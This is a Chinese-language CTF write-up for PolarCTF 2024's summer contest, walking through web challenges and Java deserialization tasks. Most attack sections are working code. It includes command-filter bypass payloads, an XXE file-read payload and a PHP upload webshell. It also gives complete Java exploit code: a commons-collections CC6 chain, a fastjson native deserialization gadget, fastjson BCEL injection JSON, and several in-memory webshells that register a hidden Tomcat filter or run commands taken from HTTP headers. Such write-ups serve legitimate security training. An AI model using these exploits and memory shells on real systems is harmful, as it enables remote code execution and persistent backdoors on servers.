PolarCTF2024夏季个人挑战赛全wp

扫扫看

不用扫,猜测是flag.php

image-20240610123154816

flag{094c9cc14068a7d18ccd0dd3606e532f}

debudao

flag在cookie里:

image-20240610124209641

flag{72077a55w312584wb1aaa88888cd41af}

审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

if (isset($_GET['xxs'])) {
$input = $_GET['xxs'];

if (is_array($input)) {
die("错误:输入类型不允许为数组。");
}
if (!preg_match("/^0e[0-9]+$/", md5($input))) {
die("错误:输入的MD5值必须以'0e'开头,并跟随数字。");
}
if (!is_numeric($input)) {
die("错误:输入必须是数字。");
}

die("恭喜:".$flag);
} else {
die("错误:必须设置正确参数。");
}
?>

根据题意,我们需要输入纯数字进去,然后md5加密后是0e+数字的组合。

240610708的md5加密后是0e462097431906509019562988736854

所以输入xss=240610708即可

flag{1bc29b36f623ba82aaf6724fd3b16718}

upload1

image-20240610124841926

是前端检测,抓包传

image-20240610124951222

进入123.php post传参:123=system(“cat /flag.txt”);

flag{adbf5a778175ee757c34d0eba4e932bc}

Dragon

还是在cookie里,什么了色题?

image-20240610125659356

flag{72077a551386b19fb1aea77814cd41af}

tnl

真傻逼,这题目输入3会报sql的错,但是这道题跟sql一点关系也没有,看wp才知道是普通的伪协议读文件他妈的真的

image-20240610131343532

我说我怎么输,都会报twothree’的错草

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
@$file = $_POST['twothree'];

if(isset($file))
{
if( strpos( $file, "1" ) !== false || strpos( $file, "2" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'twothree'' at line 1";
}
}

真傻逼

1
twothree=php://filter/convert.base64-encode/index/resource=flag

flag{29dba9019e40d75a5053b15f4f2906e1}

你知道sys还能这样玩吗

好家伙,开局403怼脸,来者不善,啥都没给,先猜,结果在sys.php有东西

1
2
3
4
5
6
7
8
9
10
11
12
13
 <?php
show_source(__FILE__);

if(isset($_POST['cmd'])){
echo "<pre>";
$cmd = $_POST['cmd'];
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget/i', $cmd)) {
$output = system($cmd);
echo $output;
}
echo "</pre>";
}
?>

就过滤了普通一些特定组合命令,这里因为直接执行系统命令,可以用bash的做法做,我这里使用变量拼接:

1
2
ls /
cmd=a=l;b=s;$a$b /;

看到根目录有flag.txt,但是这里把* ? .都过滤了,但是中括号还没有,可以用中括号的通配符:

1
2
cat /flag[^a]txt
cmd=a=ca;b=t;c=fla;d=g[^a]txt;$a$b /$c$d;

flag{196b0f14eba66e10fba74dbf9e99c22f}

法二:

利用php -r 执行php代码,编码绕过

1
cmd=php -r 'system(hex2bin("636174202f666c61672e747874"));'

不用双引号的版本:

1
cmd=php -r 'system(hex2bin(ff3b636174202f666c61672e747874));'

img

image-20240610141001972

法三:

printf和双引号绕过base64加密

1
cmd=`printf "Y2F0IC9mbGFnLnR4dA=="|bas""e64 -d`

法四:

八进制转化

1
cmd=$%27\143\141\164%27%3c$%27\57\146\154\141\147\56\164\170\164%27

ExX

扫后台扫到了dom.php

报错有 DOMDocument::loadXML()

结合题目名字,猜测是xxe实体注入

直接上payload

1
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flagggg.php"> ]> <xml><name>&xxe;</name></xml>

image-20240610141823959

PD9waHANCi8vZmxhZ3s3ZTk3ZThjNGY5ZDZiZTM1YWU4NTAwYjlmYjJjZGQzZX0NCg==

flag{7e97e8c4f9d6be35ae8500b9fb2cdd3e}

然后困难部分就全是java了=-=

CC链

1

存在commons-collections 3.1的依赖,这里我打CC6的链子。也是不出网,打内存马。

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import static org.polar.ctf.util.Tools.*;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class test {
public static void main(String[] args) throws Exception {
String a = base64Encode(serialize(cc6_poc()));
System.out.println(a);
}

public static Object cc6_poc() throws Exception{
byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\admin\\Desktop\\CC\\sources\\out\\production\\CC\\Memshell.class"));
TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes);

Transformer transformer = new InvokerTransformer("getClass", null, null);
//生成LazyMap对象并将其传给TiedMapEntry
Map<Object,Object> lazymap = LazyMap.decorate(new HashMap<>(), transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,templates);

HashMap<Object,Object> map = new HashMap<>();
map.put(tiedMapEntry,"bbb"); //在put的时候lazymap里的factory属性是空,就不会触发hash
lazymap.remove(templates); //让LazyMap的factory属性置空
setValue(transformer,"iMethodName","newTransformer");
return map;
}

public static Object getTemplates(byte[] bytes) throws Exception {
Templates templates = new TemplatesImpl();
setValue(templates, "_bytecodes", new byte[][]{bytes});
setValue(templates, "_name", "Infernity");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

内存马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Memshell extends AbstractTranslet {
static {
org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();
javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();
javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();
String[] cmd = System.getProperty("os.name").toLowerCase().contains("windows")? new String[]{"cmd.exe", "/c", httprequest.getHeader("Infernity")} : new String[]{"/bin/sh", "-c", httprequest.getHeader("Infernity")};
byte[] result = new byte[0];
try {
result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
} catch (IOException e) {
throw new RuntimeException(e);
}
try {
httpresponse.getWriter().write(new String(result));
} catch (IOException e) {
throw new RuntimeException(e);
}
try {
httpresponse.getWriter().flush();
} catch (IOException e) {
throw new RuntimeException(e);
}
try {
httpresponse.getWriter().close();
} catch (IOException e) {
throw new RuntimeException(e);
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

flag

ezJson

这里有fastjson1.2.83的依赖,还有反序列化的点,打fastjson原生反序列化。

2

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;

public class test {
public static void main(String[] args) throws Exception {
byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\admin\\Desktop\\ezjson\\sources\\out\\production\\ezjson\\MyClassLoader.class"));
Templates templates = (Templates) getTemplates(bytes);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
setValue(exception, "val", jsonArray);

HashMap map = new HashMap();
map.put(templates, exception);

//序列化,反序列化
String ser = serialize(map);
System.out.println(ser);
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static Object getTemplates(byte[] bytes) throws Exception {
Templates templates = new TemplatesImpl();
setValue(templates, "_bytecodes", new byte[][]{bytes});
setValue(templates, "_name", "Infernity");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}

//提供需要序列化的类,返回base64后的字节码
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
return poc;
}


//提供base64后的字节码,进行反序列化
public static void unserialize(String exp) throws IOException,ClassNotFoundException{
byte[] bytes = Base64.getDecoder().decode(exp);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}

也是不出网,打内存马,用classloader。写一个类加载器,动态加载字节码:MyClassLoader

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.util.Base64;

public class MyClassLoader extends AbstractTranslet {
static{
try{
javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
java.lang.reflect.Field r=request.getClass().getDeclaredField("request");
r.setAccessible(true);
org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();
javax.servlet.http.HttpSession session = request.getSession();
String classData=request.getParameter("classData");
System.out.println("classData:"+classData);
byte[] classBytes = Base64.getDecoder().decode(classData);
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length);
cc.newInstance().equals(new Object[]{request,response,session});
}catch(Exception e){
e.printStackTrace();
}
}
public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
}
public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {

}
}

内存马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import javax.servlet.*;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.stream.Collectors;

public class Memshell implements javax.servlet.Filter{
private javax.servlet.http.HttpServletRequest request = null;
private org.apache.catalina.connector.Response response = null;
private javax.servlet.http.HttpSession session =null;

@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
public void destroy() {}
@Override
public void doFilter(ServletRequest request1, ServletResponse response1, FilterChain filterChain) throws IOException, ServletException {
javax.servlet.http.HttpServletRequest request = (javax.servlet.http.HttpServletRequest)request1;
javax.servlet.http.HttpServletResponse response = (javax.servlet.http.HttpServletResponse)response1;
javax.servlet.http.HttpSession session = request.getSession();
String cmd = request.getHeader("cmd"); //header cmd
System.out.println(cmd);
if (cmd != null) {

response.setHeader("START", "OK");
// 使用 ProcessBuilder 执行命令
Process process = new ProcessBuilder(cmd.split("\\s+"))
.redirectErrorStream(true)
.start();

// 获取命令执行的输入流
InputStream inputStream = process.getInputStream();

// 使用 Java 8 Stream 将输入流转换为字符串
String result = new BufferedReader(new InputStreamReader(inputStream))
.lines()
.collect(Collectors.joining(System.lineSeparator()));
System.out.println("3");
response.setHeader("RESULT",result);

} else {
filterChain.doFilter(request, response);
}
}

public boolean equals(Object obj) {
Object[] context=(Object[]) obj;
this.session = (javax.servlet.http.HttpSession ) context[2];
this.response = (org.apache.catalina.connector.Response) context[1];
this.request = (javax.servlet.http.HttpServletRequest) context[0];

try {
dynamicAddFilter(new Memshell(),"Shell","/*",request);
} catch (IllegalAccessException e) {
e.printStackTrace();
}

return true;
}

public static void dynamicAddFilter(javax.servlet.Filter filter,String name,String url,javax.servlet.http.HttpServletRequest request) throws IllegalAccessException {
javax.servlet.ServletContext servletContext=request.getServletContext();
if (servletContext.getFilterRegistration(name) == null) {
java.lang.reflect.Field contextField = null;
org.apache.catalina.core.ApplicationContext applicationContext =null;
org.apache.catalina.core.StandardContext standardContext=null;
java.lang.reflect.Field stateField=null;
javax.servlet.FilterRegistration.Dynamic filterRegistration =null;

try {
contextField=servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext);
contextField=applicationContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);
stateField=org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);
filterRegistration = servletContext.addFilter(name, filter);
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{url});
java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, null);
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
}catch (Exception e){
}finally {
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
}
}
}
}

读取内存马的内容,base64加密后放到类加载器里。

1
2
3
4
5
6
7
8
9
10
11
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class test2 {
public static void main(String[] args) throws Exception {
byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\admin\\Desktop\\CB\\sources\\out\\production\\CB\\Memshell.class"));
String classData = Base64.getEncoder().encodeToString(bytes);
System.out.println(classData);
}
}

然后把类加载器和内存马都打进去,就可以在header里rce了。

flag2

FastJsonBCEL

题目环境同时有fastjson和tomacat-dbcp的依赖,可以在不出网的情况下,利用fastjson打BCEL注入。

3

因为漏洞触发点为JSONObject.parse(jsonString)所以最终payload形式如下,为什么这么写可以看我fastjson反序列化的文章。

1
2
3
4
5
6
7
8
9
10
11
12
{
{
"@type": "com.alibaba.fastjson.JSONObject",
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$xxxxxxxxxxxx"
}
}: "x"
}

如果是parseObject()的形式,payload也可以如下:

1
2
3
4
5
6
7
{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$xxxxxxxxxxxx"
}

生成payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
import com.sun.org.apache.bcel.internal.classfile.Utility;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;

public class test {
public static void main(String[] args) throws IOException {
byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\admin\\Desktop\\fastjsonBCEL\\sources\\out\\production\\fastjsonBCEL\\calc.class"));
String code = Utility.encode(bytes,true);
System.out.println("$$BCEL$$"+code);
}
}

内存马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import java.lang.reflect.Method;
import java.util.Scanner;

public class shell {
static {
try {
Class v0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method v1 = v0.getMethod("getRequestAttributes");
Object v2 = v1.invoke(null);
v0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
v1 = v0.getMethod("getResponse");
Method v3 = v0.getMethod("getRequest");
Object v4 = v1.invoke(v2);
Object v5 = v3.invoke(v2);
Method v6 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method v7 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
v7.setAccessible(true);
v6.setAccessible(true);
Object v8 = v6.invoke(v4);
String v9 = (String) v7.invoke(v5,"Infernity"); //请求头传参
String[] v10 = new String[3];
if (System.getProperty("os.name").toUpperCase().contains("WIN")){
v10[0] = "cmd";
v10[1] = "/c";
}else {
v10[0] = "/bin/sh";
v10[1] = "-c";
}
v10[2] = v9;
v8.getClass().getDeclaredMethod("println",String.class).invoke(v8,(new Scanner(Runtime.getRuntime().exec(v10).getInputStream())).useDelimiter("\\A").next());
v8.getClass().getDeclaredMethod("flush").invoke(v8);
v8.getClass().getDeclaredMethod("clone").invoke(v8);
} catch (Exception var11) {
var11.getStackTrace();
}
}
}

flag3


PolarCTF2024夏季个人挑战赛全wp
http://example.com/2024/06/10/PolarCTF2024夏季个人挑战赛wp/
作者
Infernity
发布于
2024年6月10日
许可协议